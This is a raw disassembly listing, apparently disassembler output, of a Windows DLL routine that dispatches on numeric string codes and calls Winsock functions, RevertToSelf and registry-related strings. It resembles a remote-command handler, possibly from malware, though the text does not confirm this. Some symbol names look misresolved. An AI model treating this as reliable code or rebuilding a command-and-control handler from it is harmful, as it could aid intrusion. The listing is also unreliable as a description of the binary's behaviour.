mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000acce
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x34], 0xffffffff
je 0x1000ace0
call fcn.1001716b
mov dword [ebp - 0x1c], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000acf3
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
call fcn.10018b93
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000ad25
push ebx
call fcn.100b8c45
add esp, 4
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x1000ad39
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push dword [ebp - 0x28]
push str.110105
mov ecx, 2
call fcn.10001088
add esp, 8
mov dword [ebp - 0x30], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x1000ad68
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000ad8e
push ebx
call fcn.100b8c45
add esp, 4
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x40], 0
push 0
push dword [ebp - 0x40]
lea eax, [ebp - 0x34]
push eax
push dword [0x100e6921]
call fcn.10003c75
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x1000add3
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x1000ade3
push ebx
call fcn.100b8c45
add esp, 4
mov dword [ebp - 0x30], esp
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_RevertToSelf]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x1000ae0c
push 0x1fe7
push 0x4048977
push 6
call fcn.100b8c4b
add esp, 0xc
jmp 0x1000d0f9
push 0x100d5acf
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x1000b068
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000ae3d
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x30], eax
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.HKEY_CURRENT_USER
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x1000ae84
mov eax, 0x100d520e
push eax
push 4
mov ebx, 0x148
call fcn.100b9830
add esp, 0x34
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000aeaa
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x34], 0xffffffff
je 0x1000aebc
call fcn.1001716b
mov dword [ebp - 0x1c], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000aecf
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x30], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d53a2
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x1000af0a
mov eax, 0x100d520e
push eax
push 3
mov ebx, 0x190
call fcn.100ba5d0
add esp, 0x28
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000af30
push ebx
call fcn.100b8c45
add esp, 4
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 0x10]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x1000af52
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x1000af4e
imul eax, dword [ebx]
jmp 0x1000af43
mov ecx, eax
test ecx, ecx
je 0x1000af71
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x1000af6a
push ebx
push eax
call fcn.100b8c45
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x1000af58
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0x10]
call fcn.100027cb
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 4
jne 0x1000b063
mov ebx, dword [ebp - 0x10]
call fcn.100020b9
mov eax, 0
cmp eax, ecx
jl 0x1000afba
push 0x219a
push 0x4048977
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x10]
call fcn.100020b9
mov eax, 1
cmp eax, ecx
jl 0x1000afea
push 0x219a
push 0x4048977
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x10]
call fcn.100020b9
mov eax, 2
cmp eax, ecx
jl 0x1000b01a
push 0x219a
push 0x4048977
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x38], ebx
mov ebx, dword [ebp - 0x10]
call fcn.100020b9
mov eax, 3
cmp eax, ecx
jl 0x1000b04a
push 0x219a
push 0x4048977
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x3c], ebx
push dword [ebp - 0x3c]
push dword [ebp - 0x38]
push dword [ebp - 0x34]
push dword [ebp - 0x30]
call fcn.1001a5d6
jmp 0x1000d0f9
push str.110107
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x1000c5dc
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000b094
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x30], eax
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.HKEY_CURRENT_USER
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x1000b0db
mov eax, 0x100d520e
push eax
push 4
mov ebx, 0x148
call fcn.100b9830
add esp, 0x34
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000b101
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x34], 0xffffffff
je 0x1000b113
call fcn.1001716b
mov dword [ebp - 0x1c], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000b126
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x30], eax
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x1000b15b
mov eax, 0x100d520e
push eax
push 2
mov ebx, 0x134
call fcn.100bae70
add esp, 0x1c
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000b181
push ebx
call fcn.100b8c45
add esp, 4
push 0x100d53ce
push dword [ebp - 0x34]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x1000b1af
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x38], 0
je 0x1000b8b7
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000b1cc
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x30], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000b1f5
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x34], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x1000b21e
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x130
call fcn.100baa20
add esp, 0x10
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x1000b244
push ebx
call fcn.100b8c45
add esp, 4
fild dword [ebp - 0x38]
fstp qword [ebp - 0x40]
fld qword [ebp - 0x40]
fsub qword [0x100d537e]
fstp qword [ebp - 0x48]
fld qword [ebp - 0x48]
call fcn.10001795
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x1000b279
mov eax, 0x100d520e
push eax
push 2
mov ebx, 0x138
call fcn.100bb7f0
add esp, 0x1c
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000b29f
push ebx
call fcn.100b8c45
add esp, 4
mov eax, dword [ebp - 0x4c]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x1000b2b3
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d53a0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x1000b2e8
mov eax, 0x100d520e
push eax
push 4
mov ebx, 0x148
call fcn.100b9830
add esp, 0x34
mov dword [ebp - 0x30], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x1000b311
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x130
call fcn.100baa20
add esp, 0x10
cmp dword [ebp - 0x30], eax
jne 0x1000b3b9
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x1000b340
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x130
call fcn.100baa20
add esp, 0x10
mov dword [ebp - 0x38], eax
fild dword [ebp - 0x38]
fstp qword [ebp - 0x38]
fld qword [ebp - 0x38]
fsub qword [0x100d537e]
fstp qword [ebp - 0x40]
fld qword [ebp - 0x40]
call fcn.10001795
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x1000b38b
mov eax, 0x100d520e
push eax
push 2
mov ebx, 0x134
call fcn.100bae70
add esp, 0x1c
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x1000b3b5
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.10018f33
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
je 0x1000b5b6
mov eax, 0x100d5add
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x2c]
push 0x100e6981
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x28]
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000b400
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x34], 0
je 0x1000b485
push reloc.WS2_32.dll_connect
push 0
push 0x100d5ae5
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 0
push 0
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
push dword [ebp - 0x3c]
lea eax, [ebp - 0x30]
push eax
push dword [0x100e6921]
call fcn.10003c75
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000b470
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x1000b480
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1000d0f9
mov eax, 0x100d5add
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x2c]
push 0x100e6981
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x18]
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000b4b6
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x34], 0xffffffff
je 0x1000b53b
push reloc.WS2_32.dll_connect
push 0
push 0x100d5b07
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 0
push 0
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
push dword [ebp - 0x3c]
lea eax, [ebp - 0x30]
push eax
push dword [0x100e6921]
call fcn.10003c75
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000b526
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x1000b536
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1000b5b1
push reloc.WS2_32.dll_connect
push 0
push 0x100d5b18
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 0
push 0
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
push dword [ebp - 0x3c]
lea eax, [ebp - 0x30]
push eax
push dword [0x100e6921]
call fcn.10003c75
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000b5a1
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x1000b5b1
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1000b8b2
mov dword [ebp - 0x30], 0
push 0
push dword [ebp - 0x30]
mov dword [ebp - 0x34], 0
push 0
push dword [ebp - 0x34]
mov eax, 0x100d53a0
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.1001901e
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x1000b5f6
push ebx
call fcn.100b8c45
add esp, 4
mov eax, dword [ebp - 0x3c]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x1000b60a
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.10018f33
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], 0
push 0
push dword [ebp - 0x30]
push 1
push 0xffffffff
mov eax, 0x100d53a0
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.1001925d
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x1000b655
push ebx
call fcn.100b8c45
add esp, 4
push 0x100d5add
push dword [ebp - 0x38]
mov ecx, 2
call fcn.10001088
add esp, 8
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x1000b67d
push ebx
call fcn.100b8c45
add esp, 4
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0x2c]
push 0x100e6981
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x28]
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x1000b6a6
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x40], 0
je 0x1000b72b
push reloc.WS2_32.dll_connect
push 0
push 0x100d5ae5
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 0
push 0
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
push dword [ebp - 0x3c]
lea eax, [ebp - 0x30]
push eax
push dword [0x100e6921]
call fcn.10003c75
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000b716
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x1000b726
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1000d0f9
mov dword [ebp - 0x30], 0
push 0
push dword [ebp - 0x30]
push 1
push 0xffffffff
mov eax, 0x100d53a0
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.1001925d
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x1000b766
push ebx
call fcn.100b8c45
add esp, 4
push 0x100d5add
push dword [ebp - 0x38]
mov ecx, 2
call fcn.10001088
add esp, 8
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x1000b78e
push ebx
call fcn.100b8c45
add esp, 4
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0x2c]
push 0x100e6981
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x18]
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x1000b7b7
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x40], 0xffffffff
je 0x1000b83c
push reloc.WS2_32.dll_connect
push 0
push 0x100d5b07
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 0
push 0
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
push dword [ebp - 0x3c]
lea eax, [ebp - 0x30]
push eax
push dword [0x100e6921]
call fcn.10003c75
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000b827
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x1000b837
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1000b8b2
push reloc.WS2_32.dll_connect
push 0
push 0x100d5b18
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 0
push 0
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
push dword [ebp - 0x3c]
lea eax, [ebp - 0x30]
push eax
push dword [0x100e6921]
call fcn.10003c75
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000b8a2
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x1000b8b2
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1000c5d7
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000b8ca
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x30], eax
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x1000b8ff
mov eax, 0x100d520e
push eax
push 2
mov ebx, 0x134
call fcn.100bae70
add esp, 0x1c
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000b925
push ebx
call fcn.100b8c45
add esp, 4
push 0x100d53c6
push dword [ebp - 0x34]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x1000b953
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x38], 0
je 0x1000bc6b
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000b970
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x30], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000b999
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x34], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x1000b9c2
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x130
call fcn.100baa20
add esp, 0x10
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x1000b9e8
push ebx
call fcn.100b8c45
add esp, 4
fild dword [ebp - 0x38]
fstp qword [ebp - 0x40]
fld qword [ebp - 0x40]
fsub qword [0x100d537e]
fstp qword [ebp - 0x48]
fld qword [ebp - 0x48]
call fcn.10001795
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x1000ba1d
mov eax, 0x100d520e
push eax
push 2
mov ebx, 0x138
call fcn.100bb7f0
add esp, 0x1c
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000ba43
push ebx
call fcn.100b8c45
add esp, 4
mov eax, dword [ebp - 0x4c]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x1000ba57
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d53a2
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x1000ba80
mov eax, 0x100d520e
push eax
push 3
mov ebx, 0x190
call fcn.100ba5d0
add esp, 0x28
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
push eax
mov ebx, dword [ebp - 0x10]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x1000bab8
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x1000bab4
imul eax, dword [ebx]
jmp 0x1000baa9
mov ecx, eax
test ecx, ecx
je 0x1000bad7
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x1000bad0
push ebx
push eax
call fcn.100b8c45
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x1000babe
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0x10]
call fcn.100027cb
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 2
jne 0x1000bc66
mov ebx, dword [ebp - 0x10]
call fcn.100020b9
mov eax, 0
cmp eax, ecx
jl 0x1000bb20
push 0x2bd4
push 0x4048977
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x10]
call fcn.100020b9
mov eax, 1
cmp eax, ecx
jl 0x1000bb50
push 0x2bd4
push 0x4048977
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push dword [ebp - 0x34]
push dword [ebp - 0x30]
push 0x100e6985
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x60]
test eax, eax
je 0x1000bbf0
push reloc.WS2_32.dll_connect
push 0
push 0x100d5b29
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 0
push 0
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
push dword [ebp - 0x3c]
lea eax, [ebp - 0x30]
push eax
push dword [0x100e6921]
call fcn.10003c75
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000bbdb
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x1000bbeb
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1000bc66
push reloc.WS2_32.dll_connect
push 0
push 0x100d5b3c
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 0
push 0
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
push dword [ebp - 0x3c]
lea eax, [ebp - 0x30]
push eax
push dword [0x100e6921]
call fcn.10003c75
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000bc56
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x1000bc66
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1000c5d7
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000bc7e
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x30], eax
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x1000bcb3
mov eax, 0x100d520e
push eax
push 2
mov ebx, 0x134
call fcn.100bae70
add esp, 0x1c
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000bcd9
push ebx
call fcn.100b8c45
add esp, 4
push 0x100d53be
push dword [ebp - 0x34]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x1000bd07
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x38], 0
je 0x1000c01f
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000bd24
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x30], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000bd4d
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x34], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x1000bd76
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x130
call fcn.100baa20
add esp, 0x10
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x1000bd9c
push ebx
call fcn.100b8c45
add esp, 4
fild dword [ebp - 0x38]
fstp qword [ebp - 0x40]
fld qword [ebp - 0x40]
fsub qword [0x100d537e]
fstp qword [ebp - 0x48]
fld qword [ebp - 0x48]
call fcn.10001795
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x1000bdd1
mov eax, 0x100d520e
push eax
push 2
mov ebx, 0x138
call fcn.100bb7f0
add esp, 0x1c
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000bdf7
push ebx
call fcn.100b8c45
add esp, 4
mov eax, dword [ebp - 0x4c]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x1000be0b
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d53a2
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x1000be34
mov eax, 0x100d520e
push eax
push 3
mov ebx, 0x190
call fcn.100ba5d0
add esp, 0x28
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
push eax
mov ebx, dword [ebp - 0x10]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x1000be6c
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x1000be68
imul eax, dword [ebx]
jmp 0x1000be5d
mov ecx, eax
test ecx, ecx
je 0x1000be8b
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x1000be84
push ebx
push eax
call fcn.100b8c45
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x1000be72
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0x10]
call fcn.100027cb
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 2
jne 0x1000c01a
mov ebx, dword [ebp - 0x10]
call fcn.100020b9
mov eax, 0
cmp eax, ecx
jl 0x1000bed4
push 0x2e7e
push 0x4048977
push 1
call fcn.100b8c4b
